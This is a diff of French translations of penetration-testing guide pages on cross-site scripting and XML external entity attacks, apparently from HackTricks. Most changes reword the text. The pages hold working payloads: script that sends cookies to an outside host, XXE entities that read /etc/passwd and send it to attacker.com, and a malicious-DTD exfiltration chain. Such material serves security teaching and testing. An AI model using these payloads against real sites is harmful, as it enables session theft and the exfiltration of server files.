- Si elle est reflétée à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` ``
|
||||
- **L'encodage Unicode** fonctionne pour écrire **du code javascript valide** :
|
||||
```javascript
|
||||
alert(1)
|
||||
@ -83,8 +83,8 @@ alert(1)
|
||||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting fait référence à l'opportunité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
|
||||
**Consultez la page suivante pour plus d'infos :**
|
||||
Javascript Hoisting fait référence à la possibilité de **déclarer des fonctions, des variables ou des classes après leur utilisation afin de pouvoir abuser des scénarios où un XSS utilise des variables ou des fonctions non déclarées.**\
|
||||
**Consultez la page suivante pour plus d'informations :**
|
||||
|
||||
{{#ref}}
|
||||
js-hoisting.md
|
||||
@ -92,7 +92,7 @@ js-hoisting.md
|
||||
|
||||
### Javascript Function
|
||||
|
||||
Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant à voir dans la nature est quelque chose comme : `?callback=callbackFunc`.
|
||||
Plusieurs pages web ont des points de terminaison qui **acceptent comme paramètre le nom de la fonction à exécuter**. Un exemple courant que l'on peut voir dans la nature est quelque chose comme : `?callback=callbackFunc`.
|
||||
|
||||
Une bonne façon de découvrir si quelque chose donné directement par l'utilisateur essaie d'être exécuté est **de modifier la valeur du paramètre** (par exemple à 'Vulnerable') et de chercher dans la console des erreurs comme :
|
||||
|
||||
@ -147,7 +147,7 @@ server-side-xss-dynamic-pdf.md
|
||||
|
||||
.jpg>)
|
||||
|
||||
## Injection dans le HTML brut
|
||||
## Injection dans du HTML brut
|
||||
|
||||
Lorsque votre entrée est reflétée **dans la page HTML** ou que vous pouvez échapper et injecter du code HTML dans ce contexte, la **première** chose que vous devez faire est de vérifier si vous pouvez abuser de `<` pour créer de nouvelles balises : Essayez simplement de **refléter** ce **caractère** et vérifiez s'il est **HTML encodé** ou **supprimé** ou s'il est **reflété sans modifications**. **Ce n'est que dans ce dernier cas que vous pourrez exploiter ce cas**.\
|
||||
Pour ces cas, gardez également à l'esprit [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
@ -233,7 +233,7 @@ onerror=alert`1`
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||
```
|
||||
Les derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
|
||||
Les deux derniers utilisent 2 caractères unicode qui s'étendent à 5 : telsr\
|
||||
Plus de ces caractères peuvent être trouvés [ici](https://www.unicode.org/charts/normalization/).\
|
||||
Pour vérifier dans quels caractères sont décomposés, vérifiez [ici](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
@ -249,8 +249,8 @@ Si vous pensez juste que **c'est impossible de créer une balise HTML avec un at
|
||||
|
||||
### À l'intérieur de la balise/échapper de la valeur de l'attribut
|
||||
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est d'**échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
|
||||
Si vous êtes **à l'intérieur d'une balise HTML**, la première chose que vous pourriez essayer est de **vous échapper** de la balise et d'utiliser certaines des techniques mentionnées dans la [section précédente](./#injecting-inside-raw-html) pour exécuter du code JS.\
|
||||
Si vous **ne pouvez pas vous échapper de la balise**, vous pourriez créer de nouveaux attributs à l'intérieur de la balise pour essayer d'exécuter du code JS, par exemple en utilisant une charge utile comme (_notez que dans cet exemple, des guillemets doubles sont utilisés pour s'échapper de l'attribut, vous n'en aurez pas besoin si votre entrée est reflétée directement à l'intérieur de la balise_) :
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
@ -267,7 +267,7 @@ Si vous **ne pouvez pas échapper de la balise**, vous pourriez créer de nouvea
|
||||
```
|
||||
### Dans l'attribut
|
||||
|
||||
Même si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez le faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Même si vous **ne pouvez pas échapper de l'attribut** (`"` est encodé ou supprimé), selon **quel attribut** votre valeur est reflétée **si vous contrôlez toute la valeur ou juste une partie**, vous pourrez en abuser. Par **exemple**, si vous contrôlez un événement comme `onclick=`, vous pourrez faire exécuter du code arbitraire lorsqu'il est cliqué.\
|
||||
Un autre **exemple** intéressant est l'attribut `href`, où vous pouvez utiliser le protocole `javascript:` pour exécuter du code arbitraire : **`href="javascript:alert(1)"`**
|
||||
|
||||
**Contourner à l'intérieur de l'événement en utilisant l'encodage HTML/l'encodage URL**
|
||||
@ -351,7 +351,7 @@ _**Dans ce cas, l'encodage HTML et l'astuce d'encodage Unicode de la section pr
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
De plus, il existe une **jolie astuce** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
De plus, il existe un **joli truc** pour ces cas : **Même si votre entrée à l'intérieur de `javascript:...` est encodée en URL, elle sera décodée en URL avant d'être exécutée.** Donc, si vous devez **vous échapper** de la **chaîne** en utilisant une **apostrophe** et que vous voyez qu'elle **est encodée en URL**, rappelez-vous que **peu importe,** elle sera **interprétée** comme une **apostrophe** pendant le **temps d'exécution**.
|
||||
```javascript
|
||||
'-alert(1)-'
|
||||
%27-alert(1)-%27
|
||||
@ -377,7 +377,7 @@ Vous pouvez utiliser **Hex** et **Octal encode** à l'intérieur de l'attribut `
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, vérifiez **la page suivante pour exploiter ce comportement** :
|
||||
Si vous pouvez injecter n'importe quelle URL dans une balise **`<a href=`** arbitraire qui contient les attributs **`target="_blank" et rel="opener"`**, vérifiez la **page suivante pour exploiter ce comportement** :
|
||||
|
||||
{{#ref}}
|
||||
../reverse-tab-nabbing.md
|
||||
@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B
|
||||
Opera: %09 %20 %2C %3B
|
||||
Android: %09 %20 %28 %2C %3B
|
||||
```
|
||||
### XSS dans "Tags inexploitable" (input caché, lien, canonique, méta)
|
||||
### XSS dans "Tags inexploitable" (input caché, lien, canonique, meta)
|
||||
|
||||
Depuis [**ici**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **il est maintenant possible d'abuser des inputs cachés avec :**
|
||||
```html
|
||||
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
|
||||
<button popovertarget="newsletter">Subscribe to newsletter</button>
|
||||
<div popover id="newsletter">Newsletter popup</div>
|
||||
```
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter une **charge utile XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut de clé d'accès. Voici le vecteur :
|
||||
Depuis [**ici**](https://portswigger.net/research/xss-in-hidden-input-fields) : Vous pouvez exécuter un **payload XSS à l'intérieur d'un attribut caché**, à condition de pouvoir **persuader** la **victime** d'appuyer sur la **combinaison de touches**. Sur Firefox Windows/Linux, la combinaison de touches est **ALT+SHIFT+X** et sur OS X, c'est **CTRL+ALT+X**. Vous pouvez spécifier une combinaison de touches différente en utilisant une autre touche dans l'attribut d'accès. Voici le vecteur :
|
||||
```markup
|
||||
<input type="hidden" accesskey="X" onclick="alert(1)">
|
||||
```
|
||||
@ -752,7 +752,7 @@ De plus, n'oubliez pas qu'**à la fin du post mentionné**, vous pouvez trouver
|
||||
|
||||
### Cookie XSS
|
||||
|
||||
Si vous pouvez déclencher un XSS en envoyant la charge utile à l'intérieur d'un cookie, c'est généralement un self-XSS. Cependant, si vous trouvez un **sous-domaine vulnérable au XSS**, vous pourriez abuser de ce XSS pour injecter un cookie dans tout le domaine, réussissant à déclencher le cookie XSS dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l'attaque de cookie tossing :
|
||||
Si vous pouvez déclencher un XSS en envoyant la charge utile à l'intérieur d'un cookie, c'est généralement un self-XSS. Cependant, si vous trouvez un **sous-domaine vulnérable au XSS**, vous pourriez abuser de ce XSS pour injecter un cookie dans l'ensemble du domaine, réussissant à déclencher le cookie XSS dans le domaine principal ou d'autres sous-domaines (ceux vulnérables au cookie XSS). Pour cela, vous pouvez utiliser l'attaque de cookie tossing :
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -780,9 +780,9 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en u
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
### Ruby-On-Rails contournement
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
En raison de **l'attribution de masse RoR**, des citations sont insérées dans le HTML et ensuite la restriction de citation est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
En raison de **l'assignation de masse RoR**, des citations sont insérées dans le HTML et ensuite la restriction de citation est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\
|
||||
Exemple de formulaire ([de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile :
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
@ -832,13 +832,13 @@ Protocoles connus dans le passé : `mailto://`, `//x:1/`, `ws://`, `wss://`, _en
|
||||
|
||||
### Seulement des lettres, des chiffres et des points
|
||||
|
||||
Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
Si vous êtes en mesure d'indiquer le **callback** que JavaScript va **exécuter** limité à ces caractères. [**Lisez cette section de ce post**](./#javascript-function) pour découvrir comment abuser de ce comportement.
|
||||
|
||||
### Types de contenu `<script>` valides pour XSS
|
||||
|
||||
(De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si vous essayez de charger un script avec un **type de contenu** tel que `application/octet-stream`, Chrome renverra l'erreur suivante :
|
||||
|
||||
> Refusé d'exécuter le script de ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') car son type MIME (‘application/octet-stream’) n'est pas exécutable, et la vérification stricte des types MIME est activée.
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
Les seuls **Content-Type** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
@ -898,9 +898,9 @@ import moment from "moment"
|
||||
import { partition } from "lodash"
|
||||
</script>
|
||||
```
|
||||
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval afin d'abuser de son déclenchement de XSS.
|
||||
Ce comportement a été utilisé dans [**ce rapport**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque à eval pour en abuser, cela peut déclencher des XSS.
|
||||
|
||||
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
- [**règlesdespeculation**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne comme suit :
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
@ -947,7 +947,7 @@ Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}",
|
||||
|
||||
Par exemple, dans [**ce rapport**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper à une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire.
|
||||
|
||||
### Cache Chrome vers XSS
|
||||
### Cache Chrome à XSS
|
||||
|
||||
{{#ref}}
|
||||
chrome-cache-to-xss.md
|
||||
@ -995,7 +995,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
- Accéder à `require` indirectement
|
||||
|
||||
[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont encapsulés par Node.js dans une fonction, comme ceci :
|
||||
[Selon ceci](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) les modules sont encapsulés par Node.js dans une fonction, comme ceci :
|
||||
```javascript
|
||||
;(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
@ -1230,7 +1230,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
|
||||
```javascript
|
||||
// It's also possible to execute JS code only with the chars: []`+!${}
|
||||
```
|
||||
## Charges utiles XSS courantes
|
||||
## XSS charges utiles courantes
|
||||
|
||||
### Plusieurs charges utiles en 1
|
||||
|
||||
@ -1269,7 +1269,7 @@ Faites en sorte que l'utilisateur navigue sur la page sans quitter un iframe et
|
||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
> [!NOTE]
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [quelques moyens de contourner cette protection](../hacking-with-cookies/#httponly) si vous avez la chance.
|
||||
> Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [certaines façons de contourner cette protection](../hacking-with-cookies/#httponly) si vous avez la chance.
|
||||
|
||||
### Voler le contenu de la page
|
||||
```javascript
|
||||
@ -1419,7 +1419,7 @@ document.getElementById("message").src += "&"+e.data;
|
||||
abusing-service-workers.md
|
||||
{{#endref}}
|
||||
|
||||
### Accéder au Shadow DOM
|
||||
### Accès au Shadow DOM
|
||||
|
||||
{{#ref}}
|
||||
shadow-dom.md
|
||||
@ -1427,7 +1427,9 @@ shadow-dom.md
|
||||
|
||||
### Polyglottes
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
|
||||
{{#endref}}
|
||||
|
||||
### Charges utiles XSS aveugles
|
||||
|
||||
@ -1492,13 +1494,15 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
|
||||
```
|
||||
### Liste de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
|
||||
{{#endref}}
|
||||
|
||||
## XSS Abusant d'autres vulnérabilités
|
||||
|
||||
### XSS dans Markdown
|
||||
|
||||
Peut-on injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
|
||||
Peut injecter du code Markdown qui sera rendu ? Peut-être que vous pouvez obtenir XSS ! Vérifiez :
|
||||
|
||||
{{#ref}}
|
||||
xss-in-markdown.md
|
||||
@ -1532,7 +1536,7 @@ pdf-injection.md
|
||||
|
||||
AMP, visant à accélérer les performances des pages web sur les appareils mobiles, incorpore des tags HTML complétés par JavaScript pour garantir la fonctionnalité avec un accent sur la vitesse et la sécurité. Il prend en charge une gamme de composants pour diverses fonctionnalités, accessibles via [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir directement avec le contenu dans leurs e-mails.
|
||||
Le format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) étend des composants AMP spécifiques aux e-mails, permettant aux destinataires d'interagir avec le contenu directement dans leurs e-mails.
|
||||
|
||||
Exemple [**writeup XSS dans Amp4Email dans Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
||||
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## XML Basics
|
||||
|
||||
XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il se distingue de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
|
||||
XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il diffère de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
|
||||
|
||||
- **Représentation des données par des entités** : Les entités dans XML permettent la représentation de données, y compris des caractères spéciaux comme `<` et `>`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises XML.
|
||||
- **Représentation des données par le biais d'entités** : Les entités dans XML permettent la représentation de données, y compris des caractères spéciaux comme `<` et `>`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises XML.
|
||||
- **Définition des éléments XML** : XML permet de définir des types d'éléments, décrivant comment les éléments doivent être structurés et quel contenu ils peuvent contenir, allant de tout type de contenu à des éléments enfants spécifiques.
|
||||
- **Définition de type de document (DTD)** : Les DTD sont cruciaux dans XML pour définir la structure du document et les types de données qu'il peut contenir. Ils peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés.
|
||||
- **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'un DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques XML External Entity (XXE), qui exploitent la façon dont les analyseurs XML gèrent les sources de données externes : `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de recherches DNS ou de requêtes HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
|
||||
- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de requêtes DNS ou HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -96,7 +95,7 @@ En utilisant la **technique précédemment commentée**, vous pouvez amener le s
|
||||
|
||||
Dans le DTD malveillant donné, une série d'étapes sont effectuées pour exfiltrer des données :
|
||||
|
||||
### Exemple de DTD Malveillant :
|
||||
### Exemple de DTD malveillant :
|
||||
|
||||
La structure est la suivante :
|
||||
```xml
|
||||
@ -109,9 +108,9 @@ Les étapes exécutées par ce DTD incluent :
|
||||
|
||||
1. **Définition des entités de paramètre :**
|
||||
- Une entité de paramètre XML, `%file`, est créée, lisant le contenu du fichier `/etc/hostname`.
|
||||
- Une autre entité de paramètre XML, `%eval`, est définie. Elle déclare dynamiquement une nouvelle entité de paramètre XML, `%exfiltrate`. L'entité `%exfiltrate` est configurée pour effectuer une requête HTTP vers le serveur de l'attaquant, en passant le contenu de l'entité `%file` dans la chaîne de requête de l'URL.
|
||||
- Une autre entité de paramètre XML, `%eval`, est définie. Elle déclare dynamiquement une nouvelle entité de paramètre XML, `%exfiltrate`. L'entité `%exfiltrate` est configurée pour effectuer une requête HTTP vers le serveur de l'attaquant, passant le contenu de l'entité `%file` dans la chaîne de requête de l'URL.
|
||||
2. **Exécution des entités :**
|
||||
- L'entité `%eval` est utilisée, entraînant l'exécution de la déclaration dynamique de l'entité `%exfiltrate`.
|
||||
- L'entité `%eval` est utilisée, conduisant à l'exécution de la déclaration dynamique de l'entité `%exfiltrate`.
|
||||
- L'entité `%exfiltrate` est ensuite utilisée, déclenchant une requête HTTP vers l'URL spécifiée avec le contenu du fichier.
|
||||
|
||||
L'attaquant héberge ce DTD malveillant sur un serveur sous son contrôle, généralement à une URL comme `http://web-attacker.com/malicious.dtd`.
|
||||
@ -147,11 +146,11 @@ Lors de l'exécution, la réponse du serveur web devrait inclure un message d'er
|
||||
|
||||
_**Veuillez noter que le DTD externe nous permet d'inclure une entité à l'intérieur de la seconde (\*\***`eval`\***\*), mais cela est interdit dans le DTD interne. Par conséquent, vous ne pouvez pas forcer une erreur sans utiliser un DTD externe (généralement).**_
|
||||
|
||||
### **Basé sur l'erreur (DTD système)**
|
||||
### **Basé sur l'erreur (system DTD)**
|
||||
|
||||
Alors que dire des vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ?
|
||||
Alors, que dire des vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ?
|
||||
|
||||
Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externes, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles.
|
||||
Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externement, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles.
|
||||
|
||||
Considérez un scénario où le système de fichiers du serveur contient un fichier DTD à `/usr/local/app/schema.dtd`, définissant une entité nommée `custom_entity`. Un attaquant peut induire une erreur de parsing XML révélant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit :
|
||||
```xml
|
||||
@ -170,7 +169,7 @@ Les étapes décrites sont exécutées par ce DTD :
|
||||
|
||||
- La définition d'une entité de paramètre XML nommée `local_dtd` inclut le fichier DTD externe situé sur le système de fichiers du serveur.
|
||||
- Une redéfinition se produit pour l'entité de paramètre XML `custom_entity`, initialement définie dans le DTD externe, pour encapsuler un [exploit XXE basé sur les erreurs](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages). Cette redéfinition est conçue pour provoquer une erreur de parsing, exposant le contenu du fichier `/etc/passwd`.
|
||||
- En utilisant l'entité `local_dtd`, le DTD externe est engagé, englobant la nouvelle entité définie `custom_entity`. Cette séquence d'actions précipite l'émission du message d'erreur visé par l'exploit.
|
||||
- En utilisant l'entité `local_dtd`, le DTD externe est engagé, englobant la nouvelle entité définie `custom_entity`. Cette séquence d'actions entraîne l'émission du message d'erreur visé par l'exploit.
|
||||
|
||||
**Exemple du monde réel :** Les systèmes utilisant l'environnement de bureau GNOME ont souvent un DTD à `/usr/share/yelp/dtd/docbookx.dtd` contenant une entité appelée `ISOamso`.
|
||||
```xml
|
||||
@ -189,7 +188,7 @@ Les étapes décrites sont exécutées par ce DTD :
|
||||
```
|
||||
.png>)
|
||||
|
||||
Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pouvez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTDs par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe :
|
||||
Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pouvez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe :
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -202,7 +201,9 @@ Pour plus d'informations, consultez [https://portswigger.net/web-security/xxe/bl
|
||||
|
||||
Dans le superbe dépôt github suivant, vous pouvez trouver **des chemins de DTD qui peuvent être présents dans le système** :
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
De plus, si vous avez **l'image Docker du système victime**, vous pouvez utiliser l'outil du même dépôt pour **scanner** l'**image** et **trouver** le chemin des **DTD** présents dans le système. Lisez le [Readme du github](https://github.com/GoSecure/dtd-finder) pour apprendre comment.
|
||||
```bash
|
||||
@ -250,7 +251,7 @@ Le processus pour accéder à un fichier dans une archive PKZIP via le protocole
|
||||
4. Le fichier spécifique dans l'archive, `file.zip`, est lu.
|
||||
5. Après l'opération, tous les fichiers temporaires créés pendant ce processus sont supprimés.
|
||||
|
||||
Une technique intéressante pour interrompre ce processus à la deuxième étape consiste à maintenir la connexion serveur ouverte indéfiniment lors de la diffusion du fichier d'archive. Des outils disponibles dans [ce dépôt](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) peuvent être utilisés à cet effet, y compris un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`).
|
||||
Une technique intéressante pour interrompre ce processus à la deuxième étape consiste à maintenir la connexion serveur ouverte indéfiniment lors de la fourniture du fichier d'archive. Des outils disponibles dans [ce dépôt](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) peuvent être utilisés à cet effet, y compris un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`).
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
@ -291,7 +292,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||
|
||||
.png>)
|
||||
|
||||
#### Obtention de NTML
|
||||
#### Obtenir NTML
|
||||
|
||||
Sur les hôtes Windows, il est possible d'obtenir le hash NTML de l'utilisateur du serveur web en configurant un gestionnaire responder.py :
|
||||
```bash
|
||||
@ -337,7 +338,7 @@ Dans les deux cas, le format SVG est utilisé pour lancer des attaques qui explo
|
||||
|
||||
Vérifiez [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) pour plus d'infos !
|
||||
|
||||
**Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra DANS l'image créée. Vous devez donc être en mesure d'accéder à l'image que SVG a créée.**
|
||||
**Notez que la première ligne du fichier lu ou du résultat de l'exécution apparaîtra À l'INTÉRIEUR de l'image créée. Vous devez donc être en mesure d'accéder à l'image que SVG a créée.**
|
||||
|
||||
### **PDF - Téléchargement de fichier**
|
||||
|
||||
@ -367,7 +368,7 @@ Content-Length: 52
|
||||
```
|
||||
### Content-Type : De JSON à XEE
|
||||
|
||||
Pour modifier la requête, vous pouvez utiliser une extension Burp nommée "**Content Type Converter**". [Ici](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) vous pouvez trouver cet exemple :
|
||||
